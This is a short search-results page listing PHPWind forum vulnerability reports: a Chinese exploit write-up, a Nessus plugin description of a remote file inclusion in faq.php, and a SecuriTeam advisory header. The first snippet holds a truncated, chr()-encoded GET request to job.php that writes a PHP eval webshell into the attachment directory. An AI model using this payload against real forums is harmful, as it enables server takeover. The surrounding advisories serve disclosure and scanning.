164 matches found
PHPWIND 2.0.1论坛直接写入木马漏洞
在程序运行时，我抓了一个包： GET /phpwind/job.php?previewjob=preview&Dname=./attachment/set.php&tidwt= chr46.chr47.chr101.chr114.chr114.chr111.chr114.chr46.chr112.chr104.chr112,w, chr60.chr63.chr32.chr101.chr118.chr97.chr108.chr40.chr36.chr95.chr80.chr79...
PHPWind Board faq.php skin Parameter Remote File Inclusion
The remote host is running PHPWind Board, a web-based bulletin board. There is a flaw in older versions of this software in the file 'faq.php' that could allow an attacker to gain a shell on this host. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. include'deprecatednasllevel.inc';...
[UNIX] PHPWind Skin Vulnerability (Exploit)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source...